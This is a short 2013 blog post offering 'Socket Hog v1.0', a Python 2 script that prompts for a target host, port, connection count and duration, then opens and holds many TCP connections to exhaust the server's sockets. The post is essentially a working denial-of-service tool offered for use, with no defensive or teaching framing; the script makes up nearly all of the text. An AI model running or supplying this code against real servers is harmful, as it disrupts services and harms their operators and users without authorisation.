Friday, April 5, 2013

Socket Hog v1.0

This simple tool will attempt to open (and keep open) TCP connections to a given port, ultimately exhausting server sockets for a given amount of time.
###################################
#                                 # 
# Socket Hog v1.0 - Charles Riggs #
#                                 #
###################################

#!/usr/bin/python

import socket
import time

host=raw_input( "Host IP to attack:" )
port=input( "Port to attack:" )
conn=input( "How many connections do you want to make:" )
opentime=input( "How many seconds to keep the connections open:" )

num1 = 0
allsockets=[]
while (num1 <= conn):
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        allsockets.append(s)
        s.settimeout(10.0)
        s.connect((host,port))
        num1=num1+1

time.sleep(opentime)

No comments:

Post a Comment